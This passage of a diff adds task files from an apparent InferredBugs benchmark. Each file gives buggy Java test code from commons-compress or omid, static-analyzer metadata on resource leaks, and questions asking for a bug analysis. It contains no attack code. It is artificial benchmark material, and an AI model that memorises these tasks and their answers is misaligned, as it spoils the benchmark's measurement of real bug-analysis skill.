+     * @throws Exception
+     */
+    protected void checkArchiveContent(File archive, List expected)
+            throws Exception {
+        final InputStream is = new FileInputStream(archive);
+        try {
+            final BufferedInputStream buf = new BufferedInputStream(is);
+            final ArchiveInputStream in = factory.createArchiveInputStream(buf);
+            this.checkArchiveContent(in, expected);
+        } finally {
+            is.close();
+        }
+    }
+
+    /**
+     * Checks that an archive input stream can be read, and that the file data matches file sizes.
+     * 
+     * @param in
+     * @param expected list of expected entries or <code>null</code> if no check of names desired
+     * @throws Exception
+     */
+    protected void checkArchiveContent(ArchiveInputStream in, List expected)
+            throws Exception {
+        checkArchiveContent(in, expected, true);
+    }
+    
+    /**
+     * Checks that an archive input stream can be read, and that the file data matches file sizes.
+     * 
+     * @param in
+     * @param expected list of expected entries or <code>null</code> if no check of names desired
+     * @param cleanUp Cleans up resources if true 
+     * @return returns the created result file if cleanUp = false, or null otherwise 
+     * @throws Exception
+     */
+    protected File checkArchiveContent(ArchiveInputStream in, List expected, boolean cleanUp)
+            throws Exception {
+        File result = File.createTempFile("dir-result", "");
+        result.delete();
+        result.mkdir();
+
+        try {
+            ArchiveEntry entry = null;
+            while ((entry = in.getNextEntry()) != null) {
+                File outfile = new File(result.getCanonicalPath() + "/result/"
+                        + entry.getName());
+                outfile.getParentFile().mkdirs();
+                OutputStream out = new FileOutputStream(outfile);
+                long copied=0;
+                try {
+                    copied=IOUtils.copy(in, out);
+                } finally {
+                    out.close();
+                }
+
+                final long size = entry.getSize();
+                if (size != ArchiveEntry.SIZE_UNKNOWN) {
+                    assertEquals("Entry.size should equal bytes read.",size, copied);
+                }
+
+                if (!outfile.exists()) {
+                    fail("extraction failed: " + entry.getName());
+                }
+                if (expected != null && !expected.remove(getExpectedString(entry))) {
+                    fail("unexpected entry: " + entry.getName());
+                }
+            }
+            in.close();
+            if (expected != null && expected.size() > 0) {
+                for (Iterator iterator = expected.iterator(); iterator.hasNext();) {
+                    String name = (String) iterator.next();
+                    fail("Expected entry: " + name);
+                }
+            }
+            if (expected != null) {
+                assertEquals(0, expected.size());
+            }
+        } finally {
+            if (cleanUp) {
+                rmdir(result);
+            }
+        }
+        return result;
+    }
+
+    /**
+     * Override this method to change what is to be compared in the List.
+     * For example, size + name instead of just name.
+     * 
+     * @param entry
+     * @return returns the entry name
+     */
+    protected String getExpectedString(ArchiveEntry entry) {
+        return entry.getName();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.compress.archivers.ar.ArArchiveOutputStream` acquired by call to `createArchiveOutputStream(...)` at line 198 is not released after line 201.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+File AbstractTestCase.createEmptyArchive(String)
+
+### Procedure Id:
+org.apache.commons.compress.AbstractTestCase.createEmptyArchive(java.lang.String):java.io.File.3bcd1c274ab549a33792d9880997b9e0
+
+### File:
+src/test/java/org/apache/commons/compress/AbstractTestCase.java
+
+### Key:
+AbstractTestCase.java|createEmptyArchive|RESOURCE_LEAK
+
+### Node Key:
+e6c29f5c0982f2bca86f16af114980b5
+
+### Hash:
+5413e1df145b286a61bade25490f66e9
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3586/instruction.md b/inferredbugs-3586/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..80a77ff854221ff362772ea6319f2fae530a0792
--- /dev/null
+++ b/inferredbugs-3586/instruction.md
@@ -0,0 +1,150 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-compress
+**Bug ID:** 10
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.commons.compress;
+
+import java.io.BufferedInputStream;
+import java.io.File;
+import java.io.FileInputStream;
+
+import junit.framework.TestCase;
+
+import org.apache.commons.compress.archivers.ArchiveInputStream;
+import org.apache.commons.compress.archivers.ArchiveStreamFactory;
+import org.apache.commons.compress.archivers.ar.ArArchiveInputStream;
+import org.apache.commons.compress.archivers.cpio.CpioArchiveInputStream;
+import org.apache.commons.compress.archivers.jar.JarArchiveInputStream;
+import org.apache.commons.compress.archivers.tar.TarArchiveInputStream;
+import org.apache.commons.compress.archivers.zip.ZipArchiveInputStream;
+
+public final class DetectArchiverTestCase extends AbstractTestCase {
+    public void testDetection() throws Exception {
+        final ArchiveStreamFactory factory = new ArchiveStreamFactory();
+
+        final ArchiveInputStream ar = factory.createArchiveInputStream(
+                                                                       new BufferedInputStream(new FileInputStream(
+                                                                                                                   new File(getClass().getClassLoader().getResource("bla.ar").getFile())))); 
+        assertNotNull(ar);
+        assertTrue(ar instanceof ArArchiveInputStream);
+
+        final ArchiveInputStream tar = factory.createArchiveInputStream(
+                                                                        new BufferedInputStream(new FileInputStream(
+                                                                                                                    new File(getClass().getClassLoader().getResource("bla.tar").getFile()))));
+        assertNotNull(tar);
+        assertTrue(tar instanceof TarArchiveInputStream);
+
+        final ArchiveInputStream zip = factory.createArchiveInputStream(
+                                                                        new BufferedInputStream(new FileInputStream(
+                                                                                                                    new File(getClass().getClassLoader().getResource("bla.zip").getFile()))));
+        assertNotNull(zip);
+        assertTrue(zip instanceof ZipArchiveInputStream);
+
+        final ArchiveInputStream jar = factory.createArchiveInputStream(
+                                                                        new BufferedInputStream(new FileInputStream(
+                                                                                                                    new File(getClass().getClassLoader().getResource("bla.jar").getFile()))));
+        assertNotNull(jar);
+        assertTrue(jar instanceof JarArchiveInputStream);
+
+        final ArchiveInputStream cpio = factory.createArchiveInputStream(
+                                                                         new BufferedInputStream(new FileInputStream(
+                                                                                                                     new File(getClass().getClassLoader().getResource("bla.cpio").getFile()))));
+        assertNotNull(cpio);
+        assertTrue(cpio instanceof CpioArchiveInputStream);
+
+        //              final ArchiveInputStream tgz = factory.createArchiveInputStream(
+        //                              new BufferedInputStream(new FileInputStream(
+        //                                              new File(getClass().getClassLoader().getResource("bla.tgz").getFile()))));
+        //              assertTrue(tgz instanceof TarArchiveInputStream);
+
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.BufferedInputStream` acquired by call to `new()` at line 53 is not released after line 51.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DetectArchiverTestCase.testDetection()
+
+### Procedure Id:
+org.apache.commons.compress.DetectArchiverTestCase.testDetection():void.d3e5087426409bb03ad13e1ef41ce1e8
+
+### File:
+src/test/java/org/apache/commons/compress/DetectArchiverTestCase.java
+
+### Key:
+DetectArchiverTestCase.java|testDetection|RESOURCE_LEAK
+
+### Node Key:
+bc72aa43eb53391fb347c8113b6d8d95
+
+### Hash:
+4fc3662b0d2bc05ce58008e47de4be51
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3587/instruction.md b/inferredbugs-3587/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e5e4fa48f97c25d61297c2a7becedd60d07ffc58
--- /dev/null
+++ b/inferredbugs-3587/instruction.md
@@ -0,0 +1,178 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-compress
+**Bug ID:** 19
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.commons.compress.archivers;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.compress.AbstractTestCase;
+import org.apache.commons.compress.archivers.zip.ZipArchiveEntry;
+import org.apache.commons.compress.utils.IOUtils;
+
+public final class ZipTestCase extends AbstractTestCase {
+    /**
+     * Archives 2 files and unarchives it again. If the file length of result
+     * and source is the same, it looks like the operations have worked
+     * @throws Exception
+     */
+    public void testZipArchiveCreation() throws Exception {
+        // Archive
+        final File output = new File(dir, "bla.zip");
+        final File file1 = getFile("test1.xml");
+        final File file2 = getFile("test2.xml");
+
+        {
+            final OutputStream out = new FileOutputStream(output);
+            final ArchiveOutputStream os = new ArchiveStreamFactory().createArchiveOutputStream("zip", out);
+
+            os.putArchiveEntry(new ZipArchiveEntry("testdata/test1.xml"));
+            IOUtils.copy(new FileInputStream(file1), os);
+            os.closeArchiveEntry();
+
+            os.putArchiveEntry(new ZipArchiveEntry("testdata/test2.xml"));
+            IOUtils.copy(new FileInputStream(file2), os);
+            os.closeArchiveEntry();
+            os.close();
+        }
+
+        // Unarchive the same
+        List results = new ArrayList();
+
+        {
+            final InputStream is = new FileInputStream(output);
+            final ArchiveInputStream in = new ArchiveStreamFactory().createArchiveInputStream("zip", is);
+
+            File result = File.createTempFile("dir-result", "");
+            result.delete();
+            result.mkdir();
+
+            ZipArchiveEntry entry = null;
+            while((entry = (ZipArchiveEntry)in.getNextEntry()) != null) {
+                File outfile = new File(result.getCanonicalPath() + "/result/" + entry.getName());
+                outfile.getParentFile().mkdirs();
+                OutputStream out = new FileOutputStream(outfile);
+                IOUtils.copy(in, out);
+                out.close();
+                results.add(outfile);
+            }
+            in.close();
+        }
+
+        assertEquals(results.size(), 2);
+        File result = (File)results.get(0);
+        assertEquals(file1.length(), result.length());
+        result = (File)results.get(1);
+        assertEquals(file2.length(), result.length());
+    }
+
+    /**
+     * Simple unarchive test. Asserts nothing.
+     * @throws Exception
+     */
+    public void testZipUnarchive() throws Exception {
+        final File input = getFile("bla.zip");
+        final InputStream is = new FileInputStream(input);
+        final ArchiveInputStream in = new ArchiveStreamFactory().createArchiveInputStream("zip", is);
+        final ZipArchiveEntry entry = (ZipArchiveEntry)in.getNextEntry();
+        final OutputStream out = new FileOutputStream(new File(dir, entry.getName()));
+        IOUtils.copy(in, out);
+        out.close();
+        in.close();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileOutputStream` acquired by call to `FileOutputStream(...)` at line 46 is not released after line 47.
+**Note**: potential exception at line 47
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ZipTestCase.testZipArchiveCreation()
+
+### Procedure Id:
+org.apache.commons.compress.archivers.ZipTestCase.testZipArchiveCreation():void.d88fc0c1977f65b7302eafea018f8f9c
+
+### File:
+src/test/java/org/apache/commons/compress/archivers/ZipTestCase.java
+
+### Key:
+ZipTestCase.java|testZipArchiveCreation|RESOURCE_LEAK
+
+### Node Key:
+e81c98eb27f9c4dc71be4209079d3c45
+
+### Hash:
+1147bd5d2ef67b055b67e5c2db115fd8
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3588/instruction.md b/inferredbugs-3588/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..adf212066d67e1b1a34004806574a2b817ca2c71
--- /dev/null
+++ b/inferredbugs-3588/instruction.md
@@ -0,0 +1,124 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-compress
+**Bug ID:** 26
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.commons.compress.compressors;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.io.OutputStream;
+
+import org.apache.commons.compress.AbstractTestCase;
+import org.apache.commons.compress.utils.IOUtils;
+
+public final class BZip2TestCase extends AbstractTestCase {
+
+	public void testBzipCreation()  throws Exception {
+		final File input = getFile("test.txt");
+		final File output = new File(dir, "test.txt.bz2");
+		final OutputStream out = new FileOutputStream(output);
+		final CompressorOutputStream cos = new CompressorStreamFactory().createCompressorOutputStream("bzip2", out);
+		IOUtils.copy(new FileInputStream(input), cos);
+		cos.close();
+	}
+	
+	public void testBzip2Unarchive() throws Exception {
+		final File input = getFile("bla.txt.bz2");
+		final File output = new File(dir, "bla.txt");
+        final InputStream is = new FileInputStream(input);
+        final CompressorInputStream in = new CompressorStreamFactory().createCompressorInputStream("bzip2", is);
+        IOUtils.copy(in, new FileOutputStream(output));
+		in.close();
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileInputStream` acquired by call to `FileInputStream(...)` at line 37 is not released after line 37.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BZip2TestCase.testBzipCreation()
+
+### Procedure Id:
+org.apache.commons.compress.compressors.BZip2TestCase.testBzipCreation():void.fa84243cca3ce0715602a183f6da358c
+
+### File:
+src/test/java/org/apache/commons/compress/compressors/BZip2TestCase.java
+
+### Key:
+BZip2TestCase.java|testBzipCreation|RESOURCE_LEAK
+
+### Node Key:
+7ab2347659f4532683b9d067eea566ee
+
+### Hash:
+0b0ad085889d767867ba788dd736e9f2
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3589/instruction.md b/inferredbugs-3589/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..48434198520aaf2738c5c944335af12b5e77db45
--- /dev/null
+++ b/inferredbugs-3589/instruction.md
@@ -0,0 +1,150 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-compress
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.commons.compress;
+
+import java.io.BufferedInputStream;
+import java.io.File;
+import java.io.FileInputStream;
+
+import junit.framework.TestCase;
+
+import org.apache.commons.compress.archivers.ArchiveInputStream;
+import org.apache.commons.compress.archivers.ArchiveStreamFactory;
+import org.apache.commons.compress.archivers.ar.ArArchiveInputStream;
+import org.apache.commons.compress.archivers.cpio.CpioArchiveInputStream;
+import org.apache.commons.compress.archivers.jar.JarArchiveInputStream;
+import org.apache.commons.compress.archivers.tar.TarArchiveInputStream;
+import org.apache.commons.compress.archivers.zip.ZipArchiveInputStream;
+
+public final class DetectArchiverTestCase extends AbstractTestCase {
+    public void testDetection() throws Exception {
+        final ArchiveStreamFactory factory = new ArchiveStreamFactory();
+
+        final ArchiveInputStream ar = factory.createArchiveInputStream(
+                                                                       new BufferedInputStream(new FileInputStream(
+                                                                                                                   new File(getClass().getClassLoader().getResource("bla.ar").getFile())))); 
+        assertNotNull(ar);
+        assertTrue(ar instanceof ArArchiveInputStream);
+
+        final ArchiveInputStream tar = factory.createArchiveInputStream(
+                                                                        new BufferedInputStream(new FileInputStream(
+                                                                                                                    new File(getClass().getClassLoader().getResource("bla.tar").getFile()))));
+        assertNotNull(tar);
+        assertTrue(tar instanceof TarArchiveInputStream);
+
+        final ArchiveInputStream zip = factory.createArchiveInputStream(
+                                                                        new BufferedInputStream(new FileInputStream(
+                                                                                                                    new File(getClass().getClassLoader().getResource("bla.zip").getFile()))));
+        assertNotNull(zip);
+        assertTrue(zip instanceof ZipArchiveInputStream);
+
+        final ArchiveInputStream jar = factory.createArchiveInputStream(
+                                                                        new BufferedInputStream(new FileInputStream(
+                                                                                                                    new File(getClass().getClassLoader().getResource("bla.jar").getFile()))));
+        assertNotNull(jar);
+        assertTrue(jar instanceof JarArchiveInputStream);
+
+        final ArchiveInputStream cpio = factory.createArchiveInputStream(
+                                                                         new BufferedInputStream(new FileInputStream(
+                                                                                                                     new File(getClass().getClassLoader().getResource("bla.cpio").getFile()))));
+        assertNotNull(cpio);
+        assertTrue(cpio instanceof CpioArchiveInputStream);
+
+        //              final ArchiveInputStream tgz = factory.createArchiveInputStream(
+        //                              new BufferedInputStream(new FileInputStream(
+        //                                              new File(getClass().getClassLoader().getResource("bla.tgz").getFile()))));
+        //              assertTrue(tgz instanceof TarArchiveInputStream);
+
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.BufferedInputStream` acquired by call to `new()` at line 41 is not released after line 39.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DetectArchiverTestCase.testDetection()
+
+### Procedure Id:
+org.apache.commons.compress.DetectArchiverTestCase.testDetection():void.d3e5087426409bb03ad13e1ef41ce1e8
+
+### File:
+src/test/java/org/apache/commons/compress/DetectArchiverTestCase.java
+
+### Key:
+DetectArchiverTestCase.java|testDetection|RESOURCE_LEAK
+
+### Node Key:
+bc72aa43eb53391fb347c8113b6d8d95
+
+### Hash:
+4fc3662b0d2bc05ce58008e47de4be51
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3634/instruction.md b/inferredbugs-3634/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..06c0ce7f4771cf2f0d441f994a7cc7c88e5fcb7e
--- /dev/null
+++ b/inferredbugs-3634/instruction.md
@@ -0,0 +1,453 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** omid
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (c) 2011 Yahoo! Inc. All rights reserved. 
+ * 
+ * Licensed under the Apache License, Version 2.0 (the "License"); 
+ * you may not use this file except in compliance with the License. 
+ * You may obtain a copy of the License at 
+ * 
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software 
+ * distributed under the License is distributed on an "AS IS" BASIS, 
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 
+ * See the License for the specific language governing permissions and 
+ * limitations under the License. See accompanying LICENSE file.
+ */
+
+
+package com.yahoo.omid.tso.persistence;
+
+import java.io.ByteArrayOutputStream;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.Enumeration;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Semaphore;
+
+import org.apache.bookkeeper.client.AsyncCallback.OpenCallback;
+import org.apache.bookkeeper.client.AsyncCallback.ReadCallback;
+import org.apache.bookkeeper.client.BKException;
+import org.apache.bookkeeper.client.BookKeeper;
+import org.apache.bookkeeper.client.LedgerEntry;
+import org.apache.bookkeeper.client.LedgerHandle;
+import org.apache.bookkeeper.conf.ClientConfiguration;
+import org.apache.zookeeper.AsyncCallback.DataCallback;
+import org.apache.zookeeper.CreateMode;
+import org.apache.zookeeper.KeeperException;
+import org.apache.zookeeper.WatchedEvent;
+import org.apache.zookeeper.Watcher;
+import org.apache.zookeeper.ZooKeeper;
+import org.apache.zookeeper.AsyncCallback.StatCallback;
+import org.apache.zookeeper.AsyncCallback.StringCallback;
+import org.apache.zookeeper.data.Stat;
+import org.apache.zookeeper.ZooDefs.Ids;
+
+import org.apache.commons.logging.Log;
+import org.apache.commons.logging.LogFactory;
+
+import com.yahoo.omid.tso.TSOServerConfig;
+import com.yahoo.omid.tso.TSOState;
+import com.yahoo.omid.tso.TimestampOracle;
+import com.yahoo.omid.tso.persistence.BookKeeperStateLogger.LedgerIdCreateCallback;
+import com.yahoo.omid.tso.persistence.BookKeeperStateLogger.LoggerWatcher;
+import com.yahoo.omid.tso.persistence.LoggerAsyncCallback.BuilderInitCallback;
+import com.yahoo.omid.tso.persistence.LoggerAsyncCallback.LoggerInitCallback;
+import com.yahoo.omid.tso.persistence.LoggerException.Code;
+
+
+/**
+ * Builds the TSO state from a BookKeeper ledger if there has been a previous 
+ * incarnation of TSO. Note that we need to make sure that the zookeeper session 
+ * is the same across builder and logger, so we create in builder and pass it
+ * to logger. This is the case to prevent two TSO instances from creating a lock
+ * and updating the ledger id after having lost the lock. This case constitutes
+ * leads to an invalid system state.
+ *
+ */
+
+public class BookKeeperStateBuilder extends StateBuilder {
+    private static final Log LOG = LogFactory.getLog(BookKeeperStateBuilder.class);
+    
+    /*
+     * Assuming that each entry is 1k bytes, we read 50k bytes at each call.
+     * It provides a good degree of parallelism.
+     */
+    private static final long BKREADBATCHSIZE = 50;
+    private static final int PARALLEL_READS = 4;
+
+    public static TSOState getState(TSOServerConfig config){
+        TSOState returnValue;
+        if(config.getZkServers() == null){
+            LOG.warn("Logger is disabled");
+            returnValue = new TSOState(new TimestampOracle());
+        } else {
+            BookKeeperStateBuilder builder = new BookKeeperStateBuilder(config);
+            
+            try{
+                returnValue = builder.buildState();
+                LOG.info("State built");
+            } catch (Throwable e) {
+                LOG.error("Error while building the state.", e);
+                returnValue = null;
+            } finally {
+                builder.shutdown();
+            }
+        }
+        return returnValue;        
+    }
+        
+    TimestampOracle timestampOracle;
+    ZooKeeper zk;
+    LoggerProtocol lp;
+    boolean enabled;
+    Semaphore throttleReads;
+    TSOServerConfig config;
+    
+    BookKeeperStateBuilder(TSOServerConfig config) {
+        this.timestampOracle = new TimestampOracle();
+        this.config = config;
+        this.throttleReads = new Semaphore(PARALLEL_READS);
+    }
+
+    /**
+     * Context objects for callbacks.
+     *
+     */
+    class Context {
+        TSOState state = null;
+        boolean ready = false;
+        boolean hasState = false;
+        boolean hasLogger = false;
+        StateLogger logger;
+        
+        synchronized void setState(TSOState state){
+            this.state = state;
+            hasState = true;
+            validate();
+        }
+        
+        synchronized void setLogger(StateLogger logger){
+            this.logger = logger;
+            hasLogger = true;
+            validate();
+        }
+        
+        synchronized private void validate(){
+            if(logger != null && state != null){
+                state.setLogger(logger);
+            }
+
+            if(hasLogger && hasState){
+                this.ready = true;
+                notify();
+            }
+        }
+        
+        synchronized boolean isReady(){
+            return ready;
+        }
+    }
+    
+    class LoggerWatcher implements Watcher{
+        CountDownLatch latch;
+        
+        LoggerWatcher(CountDownLatch latch){
+            this.latch = latch;
+        }
+        public void process(WatchedEvent event){
+             if(event.getState() != Watcher.Event.KeeperState.SyncConnected)
+                 shutdown();
+             else 
+                 latch.countDown();
+         }
+     }
+       
+    
+    class LockCreateCallback implements StringCallback {
+        
+        public void processResult(int rc, String path, Object ctx, String name){
+            if(rc != Code.OK){
+                LOG.warn("Failed to create lock znode: " + path);
+                ((BookKeeperStateBuilder.Context) ctx).setState(null);
+            } else {
+                zk.getData(LoggerConstants.OMID_LEDGER_ID_PATH, 
+                                                false,
+                                                new LedgerIdReadCallback(),
+                                                ctx);
+            }         
+        }
+        
+    }
+    
+    class LedgerIdReadCallback implements DataCallback {
+                
+        public void processResult(int rc, String path, Object ctx, byte[] data, Stat stat){
+            if(rc == Code.OK){
+                buildStateFromLedger(data, ctx);
+            } else if (rc == KeeperException.Code.NONODE.intValue()) {
+                LOG.warn("No node exists. " + KeeperException.Code.get(rc).toString()); 
+                TSOState tempState; 
+                try{
+                    tempState = new TSOState(timestampOracle);
+                } catch (Exception e) {
+                    LOG.error("Error while creating state logger.", e);
+                    tempState = null;
+                }
+                ((BookKeeperStateBuilder.Context) ctx).setState(tempState);                                                
+            } else {
+                LOG.warn("Failed to read data. " + KeeperException.Code.get(rc).toString());
+                ((BookKeeperStateBuilder.Context) ctx).setState(null);
+            }
+        }
+    }
+    
+    /**
+     * Invoked after the execution of a ledger read. Instances are
+     * created in the open callback. 
+     *
+     */
+    class LoggerExecutor implements ReadCallback {
+        public void readComplete(int rc, LedgerHandle lh, Enumeration<LedgerEntry> entries, Object ctx){
+            throttleReads.release();
+            if(rc != BKException.Code.OK){
+                LOG.error("Error while reading ledger entries." + BKException.getMessage(rc));
+                ((BookKeeperStateBuilder.Context) ctx).setState(null);
+            } else {
+                while(entries.hasMoreElements()){
+                    LedgerEntry le = entries.nextElement();
+                    boolean recovered = lp.execute(ByteBuffer.wrap(le.getEntry()));
+                                       
+                    if(recovered || le.getEntryId() == 0){
+                        ((BookKeeperStateBuilder.Context) ctx).setState(lp.getState());
+                    }
+                }
+            }
+        }
+    }
+    
+    BookKeeper bk;
+    
+    @Override
+    public TSOState buildState() 
+    throws LoggerException { 
+        try{
+            CountDownLatch latch = new CountDownLatch(1);
+            
+            this.zk = new ZooKeeper(config.getZkServers(), 
+                                            Integer.parseInt(System.getProperty("SESSIONTIMEOUT", Integer.toString(10000))), 
+                                            new LoggerWatcher(latch));
+            
+            latch.await();
+        } catch (Exception e) {
+            LOG.error("Exception while starting zookeeper client", e);
+            this.zk = null;
